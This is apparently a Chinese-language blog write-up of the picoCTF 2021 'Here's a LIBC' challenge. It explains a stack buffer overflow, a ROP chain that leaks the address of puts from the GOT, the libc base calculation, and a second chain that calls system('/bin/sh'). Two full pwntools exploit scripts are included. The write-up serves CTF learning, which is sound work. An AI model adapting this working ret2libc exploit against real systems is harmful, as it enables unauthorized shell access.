
當時打picoctf時啥都碰了,就Pwn一個都沒動XD
做為 復仇戰 Myfirst ctf / AIS3 2021 的練習
這次就來打打看這題
2021/08/10 補充:
在文章尾端要呼叫 system() 時會需要補 pop rsi 與 pop r15
這次題目提供了 vuln / libc.so.6 / Makefile 共三個檔案
Makefile 提供了 vuln 的相關資訊

看到 -fno-stack-protector 跟 -no-pie 就知道 buffer over flow 跑不掉了
再來跑跑看vuln,看看這個程式做了啥

恩….啥都還沒開始做程式就出問題了
WAT?
結果搞了半天還是動不了,正打算要放棄時,改了一下 libc.so.6 的名成 libc.so

WUTTTTTTTT???????
好吧….what ever….
能動的話,當然就隨便打試試看囉

segmentation fault 了, intresting
接下來接個gdb看看

果不其然的蓋到 return address
恩…..難道是 shell code injection?

Nope,想太美了
NX flag Enabled 代表 stack / heap section 無法被執行
看來只剩 return oriented programming (ROP) 能試了
這也符合題義 – return to libc
再來看 libc.so

看來有點尷尬了
先開個 ghidra 來看看這程式長怎樣好了

function main 下有這一段程式碼
第一個 while 應該是拿來印 “WeLcOmE To mY EcHo sErVeR!” 的
所以後面的 do-while 才是主要的部份
順理成章的檢查一下 do_stuff()

這裡的第一行 scanf 用的是 “%[^\n]” ,代表 match all 直到遇到 \n 為止停下
其實就跟 gets 差不多的意思,不會管 input 的長度
前面遇到的 buffer overflow 就是它造成的
所以這裡就能利用 do_stuff的 return 來當作 ROP 的跳點了
但現在還有一個大問題還沒解決,前面發現 libc.so 有開 PIE,也就代表每次重開時 libc 的 address 都是不固定的
這時候一個重要的概念就進來了
程式中存在一個 GOT 表,這個 GOT 表用來紀錄 linked library 在載入後的起始位置,也就是 offset
因此只要能拿到任意 libc 函式的位置,再減掉那個函式在 libc 裡的位置
就能拿到 libc 在此程式中的 GOT
也就是 libc 在此程式中的 base address
說的簡單,但問題是,要如何作到
首先,要先拿到任一個 libc 函式的位置
在 ghidra 可以在函式列表中看到一個 external 的 puts

並且能看到有另一個 puts ref 到它
查看一下

啊哈,找到了存著他的地址 -> 0x00601018

所以只要能知道執行時 0x00601018 的值,就能知道 puts 的地址
那…有什麼方法?
因為還不知道 libc 的位置,所以 printf 啥的都不能用
唯一能用的就是目前手邊現有的 puts,因此要想辦法呼叫 puts 來印出 0x00601018 裡的值
這邊就要用到 ROP 的重要技巧 – gadget
gadget 多半由函式尾端的 instruction 組成
前面為 pop,在這能作為賦予 register 值的方法
最後一行 instruction 為 ret,以執行目標程式碼
如以下這段 gadget 便能將 stack 的值存入 rbp

因此需要許多這種一段一段的 gadgets,並利用 return 來將 gadgets串起來,最後再 return 到要執行的函式地址
構成想執行的shellcode
所以目前的首要目標就是呼叫 puts 函式,且參數為 0x00601018

從這張表能知道 rdi 是 function 的第一個 args,而 puts 只需要一個 args
所以要將 rdi 的值設為 0x00601018 ,作為 puts 的參數使用
這邊可以透過 ROPgadget 去取得 vuln 內能使用的 gadget

使用 grep 來限縮要使用的 gadget

可以看到 0x00400913 很符合需求
所以要想辦法 return 到這個位置來
這時候回到原本的 do_stuff function
靠著之前的 buffer overflow,能改寫到 do_stuff 的 return address
所以得先拿到 return address 的 offset
這邊能靠 Pwngdb 的 pattern_create 產生一個特殊的字串

在程式 crash 後使用 crashoff 便能輕鬆的得到 return address 的 offset

所以 payload 前面由 136 個 A 構成
再來要修改 return address 到 0x00400913 的 pop rdi ; ret
而 pop 與 ret 皆會需要 8 bytes 的 stack
因此 payload 後面要追加
0x00400913 ( pop rdi 的位置,讓 do_stuff 的 return 能跳到目標位置 )
0x00601018 ( 給 rdi 的值,也就是指向 external puts pointer 的 Address ,以作為 puts 的引數 )
0x400540 ( 非 external libc 的 puts function 的 Address,以將 地址印出來)
所以執行時的 stack 會長這樣

do_stuff return 到 0x00400913 ,也就是 pop rdi
pop rdi 執行,將 0x00601018 存入 rdi ,作為 puts 的第一個參數
往下執行一行到 ret,所以 ret 到 0x400540a 以執行 puts ,將 0x00601018 的值印出來
到目前的 script 長這樣
利用 pwntools 的話會幫忙處理 little endian 等的問題
from pwn import *
r = remote("mercury.picoctf.net",37289)
print(r.recvuntil("sErVeR!"))
payload = b"A" * 0x88
# pop rdi addr 0x0000000000400913
payload += p64(0x0000000000400913)
payload += p64(0x601018) # give "puts" function's pointer address as next puts's args
payload += p64(0x400540) # call puts to print out puts "puts" function's address
r.sendline(payload)
print(r.recvline())
r.recvline()
result = r.recvline().rstrip()
with open("result","wb") as f:
f.write(result)Code language: PHP (php)
執行後 result 會回傳一堆亂碼,稍微處理一下便能拿到 puts 的 Address
puts_addr_with_got = u64(result + (8 - len(result)) * b"\x00")
print(f"{puts_addr_with_got:x}")Code language: PHP (php)
u64 是將地址的值轉換回數字,因為值不是 8 的倍數,所以需要加上 \0 填充
第二行使用 fstring 將數字轉成 hex
輸出應該會長的像這樣,但因為 pie 的關係每次都會差了一點

這裡的 7fdcc6642a30 就是 puts 的地址
但 PIE 的問題還是在,只要重新啟動一次,地址就會改變,那上次獲得的地址就沒有用了

如果重新啟動程式會讓地址改變……..那就不要讓程式重新啟動就好啦
回頭去看前面呼叫的 puts 函式

發現這裡也有一個 return
因為 x86 使用的是 caller save return address ,所以 puts 函式結尾的 return 也是能控制的
既然還有一個 return 能控制,那要跳到哪?
前面提到說繼續讓程式執行就能不改變 GOT 的值,那回去 do_stuff 是個不錯的選擇
除了能讓程式繼續執行外,還能再一次的使用 scanf 的 buffer overflow 漏洞 hijack stack
所以 payload 再多加個一行 0x4006d8 ,以讓 puts 執行完後回到 do_stuff 函式
程式繼續執行了,現在變成要想辦法呼叫 system call 取得 shell
因為再一次的回到 do_stuff,所以不但又提供了控制 return 的機會
這次,手上已經有 puts 函式的地址了
所以要來回推 libc 的 base address
這裡可以使用 readelf -s [elf] 取得 function 的 address list

所以能發現 puts 與 base address 的差是 0x0080a30
因此 base_address = puts_address – 0x0080a30
而 system_address = base_address + 0x004f4e0

所以找到方法能呼叫 system 了,現在只剩下參數
system 需要兩個參數,第一個 rdi 要等於呼叫的程式,第二個 rsi 要等於 0
在這裡 rdi 要 = “/bin/sh”
rsi = 0
再次利用 ROPgadget 找到 rdi / rsi 的 instruction


rdi 沿用之前的 0x400913
rsi 就比較麻煩了,因為後面帶了一個 pop r15,因此也要處理它
因此這邊 stack 的順序為
| Stack (由高到低) | 用意 |
|---|---|
| libc_address + 0x004f4e0 | 呼叫 system 函式 |
| 0x??? | 將 rdi 的值設為 “/bin/sh” |
| 0x00400913 | ret 到 pop rdi |
| 0x0 | pop r15 將 r15 設為 0 |
| 0x0 | pop rsi 將 rsi 設為 0 |
| 0x00400911 | pop rsi 的位置 |
串起來的指令為

最後的問題就是如何找到 “/bin/sh” 了
幸運的是,libc.so 裡就有現成的

在 0x1b40fa 的地方就有一個 “/bin/sh” 能用
所以只要填入 0x1b40fa + libc_address 就好
最終形成這個要塞入的 stack
| Stack (由高到低) | 用意 |
|---|---|
| libc_address + 0x004f4e0 | 呼叫 system 函式 |
| libc_address + 0x1b40fa | 將 rdi 的值設為 “/bin/sh” |
| 0x00400913 | ret 到 pop rdi |
| 0x0 | pop r15 將 r15 設為 0 |
| 0x0 | pop rsi 將 rsi 設為 0 |
| 0x00400911 | pop rsi 的位置 |
第二個 payload 的開頭也是 138 個 A ,以碰到 do_stuff 的 return address
最終的script
from pwn import *
r = remote("mercury.picoctf.net",37289)
print(r.recvuntil("sErVeR!"))
payload = b"A" * 0x88 # offset of do_stuff's return address
payload += p64(0x0000000000400913) # address of { pop rdi ; ret }
payload += p64(0x601018) # give "puts" function's pointer address as next puts's args
payload += p64(0x400540) # call puts to print out puts "puts" function's address
payload += p64(0x4006d8) # return to do_stuff function to prevent program crash
r.sendline(payload)
print(r.recvline())
r.recvline()
result = r.recvline().rstrip()
puts_addr_with_got = u64(result + (8 - len(result)) * b"\x00")
print(f"{puts_addr_with_got:x}")
# ================================= Second buffer overflow attack
libc_base_addr = puts_addr_with_got - 0x80a30 # 0x80a30 is the offset of puts from 0x0 in libc
bin_sh_string_addr = libc_base_addr + 0x1b40fa # address of "/bin/sh"
system_addr = libc_base_addr + 0x4f4e0 # address of function system
payload2 = b'A' * 0x88
payload2 += p64(0x400911) # address of { pop rsi ; pop r15 ; ret }
payload2 += p64(0) # set rsi to 0
payload2 += p64(0) # set r15 to 0
payload2 += p64(0x400913) # address of { pop rdi ; ret }
payload2 += p64(bin_sh_string_addr) # point rdi to "/bin/sh"
payload2 += p64(system_addr) # return to system
r.sendline(payload2)
r.interactive()
Code language: PHP (php)
參考 Write up:
picoCTF 2021 Here’s a LIBC – Youtube
參考資料 :
64-bit Linux Return-Oriented Programming
Share Library 中 PLT 和 GOT 的使用機制
x86 order of passing parameters in registers
x86 呼叫函式的設計慣例